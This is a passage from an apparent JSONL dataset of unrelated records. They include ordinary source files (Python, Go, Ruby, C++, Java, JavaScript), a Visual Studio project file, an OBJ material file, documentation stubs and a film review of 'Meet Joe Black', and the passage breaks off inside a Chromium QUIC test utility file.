\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n"} +{"text": "import h5py\nimport os\nimport pdb\nimport numpy as np\nimport json\nimport sys\nFIELDNAMES = ['image_id', 'image_w','image_h','num_boxes', 'boxes', 'features', 'cls_prob']\nimport csv\nimport base64\nimport json_lines\nimport lmdb # install lmdb by \"pip install lmdb\"\nimport pickle\ncsv.field_size_limit(sys.maxsize)\n\ndef converId(img_id):\n\n img_id = img_id.split('-')\n if 'train' in img_id[0]:\n new_id = int(img_id[1])\n elif 'val' in img_id[0]:\n new_id = int(img_id[1]) + 1000000 \n elif 'test' in img_id[0]:\n new_id = int(img_id[1]) + 2000000 \n else:\n pdb.set_trace()\n\n return new_id\n\nimage_path = {}\npath2id = {}\nmetadata_path = {}\nwith open('train.jsonl', 'rb') as f: # opening file in binary(rb) mode \n for item in json_lines.reader(f):\n if item['img_fn'] not in image_path:\n image_path[item['img_fn']] = 1\n img_id = item['img_id']\n metadata_path[item['metadata_fn']] = 1\n path2id[item['img_fn']] = converId(item['img_id'])\n\nwith open('val.jsonl', 'rb') as f: # opening file in binary(rb) mode \n for item in json_lines.reader(f):\n if item['img_fn'] not in image_path:\n image_path[item['img_fn']] = 1\n path2id[item['img_fn']] = converId(item['img_id'])\n metadata_path[item['metadata_fn']] = 1\n\nwith open('test.jsonl', 'rb') as f: # opening file in binary(rb) mode \n for item in json_lines.reader(f):\n if item['img_fn'] not in image_path:\n image_path[item['img_fn']] = 1\n path2id[item['img_fn']] = converId(item['img_id'])\n metadata_path[item['metadata_fn']] = 1\n\ncount = 0\nnum_file = 4\nname = '/srv/share2/jlu347/bottom-up-attention/feature/VCR/VCR_resnet101_faster_rcnn_genome.tsv.%d'\ninfiles = [name % i for i in range(num_file)]\n\nid_list = []\nsave_path = os.path.join('VCR_resnet101_faster_rcnn_genome.lmdb')\nenv = lmdb.open(save_path, map_size=1099511627776)\nwith env.begin(write=True) as txn:\n\n for infile in infiles:\n with open(infile) as tsv_in_file:\n reader = csv.DictReader(tsv_in_file, delimiter='\\t', fieldnames = FIELDNAMES)\n for item in reader:\n img_id = str(path2id[item['image_id']]).encode()\n id_list.append(img_id)\n # txn.put(img_id, pickle.dumps(item))\n if count % 1000 == 0:\n print(count)\n count += 1\n txn.put('keys'.encode(), pickle.dumps(id_list))\n\nprint(count)\njson.dump(path2id, open('VCR_ImagePath2Id.json', 'w'))\n"} +{"text": "\n\n \n \n Debug\n x64\n \n \n Release\n x64\n \n \n MinSizeRel\n x64\n \n \n RelWithDebInfo\n x64\n \n \n \n {836DD097-0390-3312-A403-798F6F728326}\n 10.0.17134.0\n Win32Proj\n x64\n ALL_BUILD\n NoUpgrade\n \n \n \n Utility\n MultiByte\n v141\n \n \n Utility\n MultiByte\n v141\n \n \n Utility\n MultiByte\n v141\n \n \n Utility\n MultiByte\n v141\n \n \n \n \n \n \n \n \n \n <_ProjectFileVersion>10.0.20506.1\n $(Platform)\\$(Configuration)\\$(ProjectName)\\\n $(Platform)\\$(Configuration)\\$(ProjectName)\\\n $(Platform)\\$(Configuration)\\$(ProjectName)\\\n $(Platform)\\$(Configuration)\\$(ProjectName)\\\n \n \n \n E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\samples\\gesture\\..\\..\\lib\\include;E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\samples\\gesture\\..\\samplefw;%(AdditionalIncludeDirectories)\n $(ProjectDir)/$(IntDir)\n %(Filename).h\n %(Filename).tlb\n %(Filename)_i.c\n %(Filename)_p.c\n \n \n \n \n E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\samples\\gesture\\..\\..\\lib\\include;E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\samples\\gesture\\..\\samplefw;%(AdditionalIncludeDirectories)\n $(ProjectDir)/$(IntDir)\n %(Filename).h\n %(Filename).tlb\n %(Filename)_i.c\n %(Filename)_p.c\n \n \n \n \n E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\samples\\gesture\\..\\..\\lib\\include;E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\samples\\gesture\\..\\samplefw;%(AdditionalIncludeDirectories)\n $(ProjectDir)/$(IntDir)\n %(Filename).h\n %(Filename).tlb\n %(Filename)_i.c\n %(Filename)_p.c\n \n \n \n \n E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\samples\\gesture\\..\\..\\lib\\include;E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\samples\\gesture\\..\\samplefw;%(AdditionalIncludeDirectories)\n $(ProjectDir)/$(IntDir)\n %(Filename).h\n %(Filename).tlb\n %(Filename)_i.c\n %(Filename)_p.c\n \n \n \n \n Building Custom Rule E:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput/samples/gesture/CMakeLists.txt\n setlocal\n\"C:\\Program Files\\CMake\\bin\\cmake.exe\" -HE:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput -BE:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput/Win64 --check-stamp-file E:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput/Win64/samples/gesture/CMakeFiles/generate.stamp\nif %errorlevel% neq 0 goto :cmEnd\n:cmEnd\nendlocal & call :cmErrorLevel %errorlevel% & goto :cmDone\n:cmErrorLevel\nexit /b %1\n:cmDone\nif %errorlevel% neq 0 goto :VCEnd\n E:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput/samples/gesture/CMakeLists.txt;E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\samples\\gesture\\CMakeLists.txt;E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\samples\\gesture\\CMakeLists.txt;%(AdditionalInputs)\n E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\Win64\\samples\\gesture\\CMakeFiles\\generate.stamp\n false\n Building Custom Rule E:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput/samples/gesture/CMakeLists.txt\n setlocal\n\"C:\\Program Files\\CMake\\bin\\cmake.exe\" -HE:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput -BE:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput/Win64 --check-stamp-file E:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput/Win64/samples/gesture/CMakeFiles/generate.stamp\nif %errorlevel% neq 0 goto :cmEnd\n:cmEnd\nendlocal & call :cmErrorLevel %errorlevel% & goto :cmDone\n:cmErrorLevel\nexit /b %1\n:cmDone\nif %errorlevel% neq 0 goto :VCEnd\n E:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput/samples/gesture/CMakeLists.txt;E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\samples\\gesture\\CMakeLists.txt;E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\samples\\gesture\\CMakeLists.txt;%(AdditionalInputs)\n E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\Win64\\samples\\gesture\\CMakeFiles\\generate.stamp\n false\n Building Custom Rule E:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput/samples/gesture/CMakeLists.txt\n setlocal\n\"C:\\Program Files\\CMake\\bin\\cmake.exe\" -HE:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput -BE:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput/Win64 --check-stamp-file E:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput/Win64/samples/gesture/CMakeFiles/generate.stamp\nif %errorlevel% neq 0 goto :cmEnd\n:cmEnd\nendlocal & call :cmErrorLevel %errorlevel% & goto :cmDone\n:cmErrorLevel\nexit /b %1\n:cmDone\nif %errorlevel% neq 0 goto :VCEnd\n E:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput/samples/gesture/CMakeLists.txt;E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\samples\\gesture\\CMakeLists.txt;E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\samples\\gesture\\CMakeLists.txt;%(AdditionalInputs)\n E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\Win64\\samples\\gesture\\CMakeFiles\\generate.stamp\n false\n Building Custom Rule E:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput/samples/gesture/CMakeLists.txt\n setlocal\n\"C:\\Program Files\\CMake\\bin\\cmake.exe\" -HE:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput -BE:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput/Win64 --check-stamp-file E:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput/Win64/samples/gesture/CMakeFiles/generate.stamp\nif %errorlevel% neq 0 goto :cmEnd\n:cmEnd\nendlocal & call :cmErrorLevel %errorlevel% & goto :cmDone\n:cmErrorLevel\nexit /b %1\n:cmDone\nif %errorlevel% neq 0 goto :VCEnd\n E:/Confetti/TheForge/Common_3/ThirdParty/OpenSource/gainput/samples/gesture/CMakeLists.txt;E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\samples\\gesture\\CMakeLists.txt;E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\samples\\gesture\\CMakeLists.txt;%(AdditionalInputs)\n E:\\Confetti\\TheForge\\Common_3\\ThirdParty\\OpenSource\\gainput\\Win64\\samples\\gesture\\CMakeFiles\\generate.stamp\n false\n \n \n \n \n \n \n {F79F8D98-BB54-3F82-96BC-9E6E6936D89C}\n ZERO_CHECK\n \n \n {6EC4C24C-DFE5-3A65-BCEA-1F58186283CD}\n gesturesample\n \n \n \n \n \n"} +{"text": "import Transport from \"@ledgerhq/hw-transport-node-hid\";\n\n// $ExpectType Promise\nTransport.isSupported();\n// $ExpectType Promise>\nTransport.list();\n// $ExpectType Promise\nTransport.open(\"test\");\n\nconst test = Transport.open(\"test\").then(transport => {\n // $ExpectType void\n transport.setScrambleKey();\n\n // $ExpectType Promise\n transport.exchange(Buffer.from(\"test\", \"hex\"));\n\n // $ExpectType Promise\n transport.close();\n});\n"} +{"text": "app.controller('HomeController', function($scope, KpmApi) {\n $scope.countPackages = function() {\n KpmApi.get('packages/count')\n .success(function(data) {\n $scope.count = data.count;\n })\n .error(function() {\n\n });\n };\n\n $scope.countPackages();\n});\n"} +{"text": "meet joe black ( reviewed on nov . 27/98 ) \nstarring brad pitt , anthony hopkins , claire forlani \nin \" meet joe black \" , brad pitt plays death . \nthat's all that really needs to be said , but nevertheless , i will provide the three of you that have seemingly been living in a cave with a plot description . \ndeath decides to take a holiday , what with all the rigors of soul-collecting and all , and forces anthony hopkins into showing him what it's like to be human . \ndeath assumes the body of brad pitt , and from there , much trouble ensues . \nfor one thing , death-as-pitt falls in love with hopkins daughter , played by claire forlani . \nobviously this enrages hopkins , because really , what can death offer ? \nbesides eternal damnation , of course . \nthere is also a sub-plot about forlani's ex-boyfriend ( she dumps him for pitt ) trying to take over hopkins company . \n \" meet joe black \" runs just under three hours . \ni've always thought that such obscene running times should be limited to historical epics . \n \" meet joe black \" is neither historical nor is it an epic , though i get the feeling martin brest ( the director ) desperately wants it to be . \nevery single scene in the movie goes on about 3-4 minutes too long . \nand the ending takes about 20 minutes longer than it really should . \na severe editing job could have made this movie excellent , instead of just good , which is what it is . \npitt , an actor i normally loathe , is actually quite engaging as death . \ni believed his performance , and i could see why forlani's character would fall in love with him . \ni have to agree with roger ebert , though , who found it hard to believe that an entity that's been around for all time wouldn't know what peanut butter was . \nthat has nothing to do with pitt's performance , of course , but it is a little distracting . \nhopkins gives his usual excellent performance . \nhe's able to portray the angst of a man who knows he has very little time left , without making him an obnoxious whiner . \nand in her first major studio role , claire forlani is surprisingly good . \nshe has a sweet tenderness that allows the audience to instantly root for her . \nso , \" meet joe black \" is a good movie hampered by it's ridiculous running time . \nhad the film been cut by an hour or so , i have no doubt that i would be calling it one of the best movies of the year in this review . \n"} +{"text": "#\n## Alias OBJ Material File\n# Exported from SketchUp, (c) 2000-2012 Trimble Navigation Limited\n\nnewmtl Wood\nKa 0.000000 0.000000 0.000000\nKd 0.666667 0.545098 0.356863\nKs 0.330000 0.330000 0.330000\n\nnewmtl Leafs\nKa 0.000000 0.000000 0.000000\nKd 0.270588 0.407843 0.400000\nKs 0.330000 0.330000 0.330000\n\n"} +{"text": "#include \"pch.h\"\n\n#include \n#include \n#include \n\nint kinc_window_x(int window) {\n\treturn 0;\n}\n\nint kinc_window_y(int window) {\n\treturn 0;\n}\n\nvoid kinc_window_resize(int window, int width, int height) {\n\t\n}\n\nvoid kinc_window_move(int window, int x, int y) {\n\t\n}\n\nextern \"C\" void kinc_internal_change_framebuffer(int window, struct kinc_framebuffer_options *frame);\n\nvoid kinc_window_change_framebuffer(int window, struct kinc_framebuffer_options *frame) {\n\tkinc_internal_change_framebuffer(0, frame);\n}\n\n#ifdef KORE_METAL\nextern \"C\" void kinc_internal_change_framebuffer(int window, struct kinc_framebuffer_options *frame) {\n\t\n}\n#endif\n\nvoid kinc_window_change_features(int window, int features) {\n\t\n}\n\nvoid kinc_window_change_mode(int window, kinc_window_mode_t mode) {\n\t\n}\n\nvoid kinc_window_destroy(int window) {\n\t\n}\n\nvoid kinc_window_show(int window) {\n\t\n}\n\nvoid kinc_window_hide(int window) {\n\t\n}\n\nvoid kinc_window_set_title(int window, const char *title) {\n\t\n}\n\nint kinc_window_create(kinc_window_options_t *win, kinc_framebuffer_options_t *frame) {\n\treturn 0;\n}\n\nvoid kinc_window_set_resize_callback(int window, void (*callback)(int x, int y, void* data), void* data) {\n\t//**_data.resizeCallback = callback;\n\t//**_data.resizeCallbackData = data;\n}\n\nvoid kinc_window_set_ppi_changed_callback(int window, void(*callback)(int ppi, void* data), void* data) {\n\t\n}\n\nkinc_window_mode_t kinc_window_get_mode(int window) {\n\treturn KINC_WINDOW_MODE_WINDOW;\n}\n\nint kinc_window_display(int window) {\n\treturn 0;\n}\n"} +{"text": "pyGPGO\\.logger module\n=====================\n\n.. automodule:: pyGPGO.logger\n :members:\n :undoc-members:\n :show-inheritance:\n"} +{"text": "\n\n\n\n\nUses of Interface javax.xml.crypto.dsig.keyinfo.X509IssuerSerial (Java SE 12 & JDK 12 )\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
    \n\n
    \n
    \n
    \n

    Uses of Interface
    javax.xml.crypto.dsig.keyinfo.X509IssuerSerial

    \n
    \n
    \n\n
    \n
    \n\n\n\n"} +{"text": "module Workarea\n module Admin\n module Visiting\n extend ActiveSupport::Concern\n\n included do\n helper_method :most_visited\n after_action :save_visit\n end\n\n def most_visited\n @most_visited ||= User::AdminVisit.most_visited(current_user.id)\n end\n\n private\n\n def save_visit\n return unless save_visit?\n\n User::AdminVisit.create!(\n name: response_title,\n path: request.path,\n user_id: current_user.id\n )\n end\n\n def save_visit?\n !request.xhr? &&\n request.get? &&\n !response.redirect? &&\n !request.path.in?(excluded_paths) &&\n response_title.present?\n end\n\n def excluded_paths\n Workarea.config.admin_visit_excluded_paths.map do |path_method|\n send(path_method)\n end\n end\n\n def response_title\n @response_title ||= Nokogiri::XML(response.body)\n .css('title')\n .try(:text)\n .to_s\n .gsub(/\\[#{Rails.env.upcase}\\]/, '')\n .strip\n end\n end\n end\nend\n"} +{"text": "# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\ndef translate_v3_translate_text_with_glossary_and_model project_id:, location_id:, glossary_id:, model_id:\n # [START translate_v3_translate_text_with_glossary_and_model]\n require \"google/cloud/translate\"\n\n # project_id = \"[Google Cloud Project ID]\"\n # location_id = \"[LOCATION ID]\"\n # model_id = \"[MODEL ID]\"\n # glossary_id = \"[YOUR_GLOSSARY_ID]\"\n\n # The `model` type requested for this translation.\n model = \"projects/#{project_id}/locations/#{location_id}/models/#{model_id}\"\n # The content to translate in string format\n contents = [\"Hello, world!\"]\n # Required. The BCP-47 language code to use for translation.\n target_language = \"fr\"\n # Optional. The BCP-47 language code of the input text.\n source_language = \"en\"\n # Optional. Can be \"text/plain\" or \"text/html\".\n mime_type = \"text/plain\"\n\n client = Google::Cloud::Translate.translation_service\n\n parent = client.location_path project: project_id, location: location_id\n glossary_path = client.glossary_path project: project_id,\n location: location_id,\n glossary: glossary_id\n glossary_config = { glossary: glossary_path }\n\n response = client.translate_text parent: parent,\n contents: contents,\n target_language_code: target_language,\n source_language_code: source_language,\n model: model,\n glossary_config: glossary_config,\n mime_type: mime_type\n\n # Display the translation for each input text provided\n response.glossary_translations.each do |translation|\n puts \"Translated text: #{translation.translated_text}\"\n end\n # [END translate_v3_translate_text_with_glossary_and_model]\nend\n"} +{"text": "// Copyright 2016 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// +build linux\n// +build mips mipsle\n\npackage unix\n\nimport (\n\t\"syscall\"\n\t\"unsafe\"\n)\n\nfunc Syscall9(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err syscall.Errno)\n\n//sys\tDup2(oldfd int, newfd int) (err error)\n//sysnb\tEpollCreate(size int) (fd int, err error)\n//sys\tEpollWait(epfd int, events []EpollEvent, msec int) (n int, err error)\n//sys\tFadvise(fd int, offset int64, length int64, advice int) (err error) = SYS_FADVISE64\n//sys\tFchown(fd int, uid int, gid int) (err error)\n//sys\tFtruncate(fd int, length int64) (err error) = SYS_FTRUNCATE64\n//sysnb\tGetegid() (egid int)\n//sysnb\tGeteuid() (euid int)\n//sysnb\tGetgid() (gid int)\n//sysnb\tGetuid() (uid int)\n//sys\tLchown(path string, uid int, gid int) (err error)\n//sys\tListen(s int, n int) (err error)\n//sys\tPread(fd int, p []byte, offset int64) (n int, err error) = SYS_PREAD64\n//sys\tPwrite(fd int, p []byte, offset int64) (n int, err error) = SYS_PWRITE64\n//sys\tRenameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)\n//sys\tSelect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) = SYS__NEWSELECT\n//sys\tsendfile(outfd int, infd int, offset *int64, count int) (written int, err error) = SYS_SENDFILE64\n//sys\tSetfsgid(gid int) (err error)\n//sys\tSetfsuid(uid int) (err error)\n//sysnb\tSetregid(rgid int, egid int) (err error)\n//sysnb\tSetresgid(rgid int, egid int, sgid int) (err error)\n//sysnb\tSetresuid(ruid int, euid int, suid int) (err error)\n//sysnb\tSetreuid(ruid int, euid int) (err error)\n//sys\tShutdown(fd int, how int) (err error)\n//sys\tSplice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error)\n//sys\tSyncFileRange(fd int, off int64, n int64, flags int) (err error)\n//sys\tTruncate(path string, length int64) (err error) = SYS_TRUNCATE64\n//sys\tUstat(dev int, ubuf *Ustat_t) (err error)\n//sys\taccept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error)\n//sys\taccept4(s int, rsa *RawSockaddrAny, addrlen *_Socklen, flags int) (fd int, err error)\n//sys\tbind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)\n//sys\tconnect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)\n//sysnb\tgetgroups(n int, list *_Gid_t) (nn int, err error)\n//sysnb\tsetgroups(n int, list *_Gid_t) (err error)\n//sys\tgetsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error)\n//sys\tsetsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error)\n//sysnb\tsocket(domain int, typ int, proto int) (fd int, err error)\n//sysnb\tsocketpair(domain int, typ int, proto int, fd *[2]int32) (err error)\n//sysnb\tgetpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error)\n//sysnb\tgetsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error)\n//sys\trecvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error)\n//sys\tsendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error)\n//sys\trecvmsg(s int, msg *Msghdr, flags int) (n int, err error)\n//sys\tsendmsg(s int, msg *Msghdr, flags int) (n int, err error)\n\n//sysnb\tInotifyInit() (fd int, err error)\n//sys\tIoperm(from int, num int, on int) (err error)\n//sys\tIopl(level int) (err error)\n\n//sys\tfutimesat(dirfd int, path string, times *[2]Timeval) (err error)\n//sysnb\tGettimeofday(tv *Timeval) (err error)\n//sysnb\tTime(t *Time_t) (tt Time_t, err error)\n//sys\tUtime(path string, buf *Utimbuf) (err error)\n//sys\tutimes(path string, times *[2]Timeval) (err error)\n\n//sys\tLstat(path string, stat *Stat_t) (err error) = SYS_LSTAT64\n//sys\tFstat(fd int, stat *Stat_t) (err error) = SYS_FSTAT64\n//sys\tFstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) = SYS_FSTATAT64\n//sys\tStat(path string, stat *Stat_t) (err error) = SYS_STAT64\n\n//sys\tPause() (err error)\n\nfunc Fstatfs(fd int, buf *Statfs_t) (err error) {\n\t_, _, e := Syscall(SYS_FSTATFS64, uintptr(fd), unsafe.Sizeof(*buf), uintptr(unsafe.Pointer(buf)))\n\tif e != 0 {\n\t\terr = errnoErr(e)\n\t}\n\treturn\n}\n\nfunc Statfs(path string, buf *Statfs_t) (err error) {\n\tp, err := BytePtrFromString(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, _, e := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(p)), unsafe.Sizeof(*buf), uintptr(unsafe.Pointer(buf)))\n\tif e != 0 {\n\t\terr = errnoErr(e)\n\t}\n\treturn\n}\n\nfunc Seek(fd int, offset int64, whence int) (off int64, err error) {\n\t_, _, e := Syscall6(SYS__LLSEEK, uintptr(fd), uintptr(offset>>32), uintptr(offset), uintptr(unsafe.Pointer(&off)), uintptr(whence), 0)\n\tif e != 0 {\n\t\terr = errnoErr(e)\n\t}\n\treturn\n}\n\nfunc setTimespec(sec, nsec int64) Timespec {\n\treturn Timespec{Sec: int32(sec), Nsec: int32(nsec)}\n}\n\nfunc setTimeval(sec, usec int64) Timeval {\n\treturn Timeval{Sec: int32(sec), Usec: int32(usec)}\n}\n\n//sysnb pipe2(p *[2]_C_int, flags int) (err error)\n\nfunc Pipe2(p []int, flags int) (err error) {\n\tif len(p) != 2 {\n\t\treturn EINVAL\n\t}\n\tvar pp [2]_C_int\n\terr = pipe2(&pp, flags)\n\tp[0] = int(pp[0])\n\tp[1] = int(pp[1])\n\treturn\n}\n\n//sysnb pipe() (p1 int, p2 int, err error)\n\nfunc Pipe(p []int) (err error) {\n\tif len(p) != 2 {\n\t\treturn EINVAL\n\t}\n\tp[0], p[1], err = pipe()\n\treturn\n}\n\n//sys\tmmap2(addr uintptr, length uintptr, prot int, flags int, fd int, pageOffset uintptr) (xaddr uintptr, err error)\n\nfunc mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error) {\n\tpage := uintptr(offset / 4096)\n\tif offset != int64(page)*4096 {\n\t\treturn 0, EINVAL\n\t}\n\treturn mmap2(addr, length, prot, flags, fd, page)\n}\n\nconst rlimInf32 = ^uint32(0)\nconst rlimInf64 = ^uint64(0)\n\ntype rlimit32 struct {\n\tCur uint32\n\tMax uint32\n}\n\n//sysnb getrlimit(resource int, rlim *rlimit32) (err error) = SYS_GETRLIMIT\n\nfunc Getrlimit(resource int, rlim *Rlimit) (err error) {\n\terr = prlimit(0, resource, nil, rlim)\n\tif err != ENOSYS {\n\t\treturn err\n\t}\n\n\trl := rlimit32{}\n\terr = getrlimit(resource, &rl)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif rl.Cur == rlimInf32 {\n\t\trlim.Cur = rlimInf64\n\t} else {\n\t\trlim.Cur = uint64(rl.Cur)\n\t}\n\n\tif rl.Max == rlimInf32 {\n\t\trlim.Max = rlimInf64\n\t} else {\n\t\trlim.Max = uint64(rl.Max)\n\t}\n\treturn\n}\n\n//sysnb setrlimit(resource int, rlim *rlimit32) (err error) = SYS_SETRLIMIT\n\nfunc Setrlimit(resource int, rlim *Rlimit) (err error) {\n\terr = prlimit(0, resource, rlim, nil)\n\tif err != ENOSYS {\n\t\treturn err\n\t}\n\n\trl := rlimit32{}\n\tif rlim.Cur == rlimInf64 {\n\t\trl.Cur = rlimInf32\n\t} else if rlim.Cur < uint64(rlimInf32) {\n\t\trl.Cur = uint32(rlim.Cur)\n\t} else {\n\t\treturn EINVAL\n\t}\n\tif rlim.Max == rlimInf64 {\n\t\trl.Max = rlimInf32\n\t} else if rlim.Max < uint64(rlimInf32) {\n\t\trl.Max = uint32(rlim.Max)\n\t} else {\n\t\treturn EINVAL\n\t}\n\n\treturn setrlimit(resource, &rl)\n}\n\nfunc (r *PtraceRegs) PC() uint64 { return r.Epc }\n\nfunc (r *PtraceRegs) SetPC(pc uint64) { r.Epc = pc }\n\nfunc (iov *Iovec) SetLen(length int) {\n\tiov.Len = uint32(length)\n}\n\nfunc (msghdr *Msghdr) SetControllen(length int) {\n\tmsghdr.Controllen = uint32(length)\n}\n\nfunc (cmsg *Cmsghdr) SetLen(length int) {\n\tcmsg.Len = uint32(length)\n}\n\n//sys\tpoll(fds *PollFd, nfds int, timeout int) (n int, err error)\n\nfunc Poll(fds []PollFd, timeout int) (n int, err error) {\n\tif len(fds) == 0 {\n\t\treturn poll(nil, 0, timeout)\n\t}\n\treturn poll(&fds[0], len(fds), timeout)\n}\n"} +{"text": "package org.jeecgframework.core.common.hibernate.qbc;\n\nimport java.util.ArrayList;\n\nimport org.hibernate.criterion.Criterion;\n/**\n* @ClassName: CriterionList \n* @Description: TODO(查询条件集合) \n* @author jeecg \n* @date 2012-10-25 上午09:32:20 \n*\n */\npublic class CriterionList extends ArrayList {\n\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 1L;\n\n\tpublic final Criterion getParas(final int index) {\n\t\treturn (Criterion) super.get(index);\n\t}\n\n\tpublic final void addPara(final int index, final Criterion p) {\n\t\tsuper.add(index, p);\n\t}\n\n\tpublic final void addPara(final Criterion p) {\n\t\tsuper.add(p);\n\t}\n\n\tpublic final int indexofPara(final Criterion p) {\n\t\treturn super.indexOf(p);\n\t}\n\n\tpublic final void removePara(final int index) {\n\t\tsuper.remove(index);\n\t}\n}\n"} +{"text": "// Copyright (c) 2012 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"net/quic/test_tools/quic_test_utils.h\"\n\n#include \n\n#include \"base/sha1.h\"\n#include \"base/stl_util.h\"\n#include \"base/strings/string_number_conversions.h\"\n#include \"net/quic/core/crypto/crypto_framer.h\"\n#include \"net/quic/core/crypto/crypto_handshake.h\"\n#include \"net/quic/core/crypto/crypto_utils.h\"\n#include \"net/quic/core/crypto/null_encrypter.h\"\n#include \"net/quic/core/crypto/quic_decrypter.h\"\n#include \"net/quic/core/crypto/quic_encrypter.h\"\n#include \"net/quic/core/quic_data_writer.h\"\n#include \"net/quic/core/quic_framer.h\"\n#include \"net/quic/core/quic_packet_creator.h\"\n#include \"net/quic/core/quic_utils.h\"\n#include \"net/quic/test_tools/crypto_test_utils.h\"\n#include \"net/quic/test_tools/quic_connection_peer.h\"\n#include \"net/spdy/spdy_frame_builder.h\"\n#include \"net/tools/quic/quic_per_connection_packet_writer.h\"\n\nusing base::StringPiece;\nusing std::max;\nusing std::min;\nusing std::string;\nusing testing::Invoke;\nusing testing::_;\n\nnamespace net {\n\nnamespace test {\n\nQuicAckFrame MakeAckFrame(QuicPacketNumber largest_observed) {\n QuicAckFrame ack;\n ack.largest_observed = largest_observed;\n ack.entropy_hash = 0;\n return ack;\n}\n\nQuicAckFrame MakeAckFrameWithNackRanges(size_t num_nack_ranges,\n QuicPacketNumber least_unacked) {\n QuicAckFrame ack = MakeAckFrame(2 * num_nack_ranges + least_unacked);\n // Add enough missing packets to get num_nack_ranges nack ranges.\n for (QuicPacketNumber i = 1; i < 2 * num_nack_ranges; i += 2) {\n ack.packets.Add(least_unacked + i);\n }\n return ack;\n}\n\nQuicAckFrame MakeAckFrameWithAckBlocks(size_t num_ack_blocks,\n QuicPacketNumber least_unacked) {\n QuicAckFrame ack = MakeAckFrame(2 * num_ack_blocks + least_unacked);\n ack.missing = false;\n // Add enough received packets to get num_ack_blocks ack blocks.\n for (QuicPacketNumber i = 2; i < 2 * num_ack_blocks + 1; i += 2) {\n ack.packets.Add(least_unacked + i);\n }\n return ack;\n}\n\nQuicPacket* 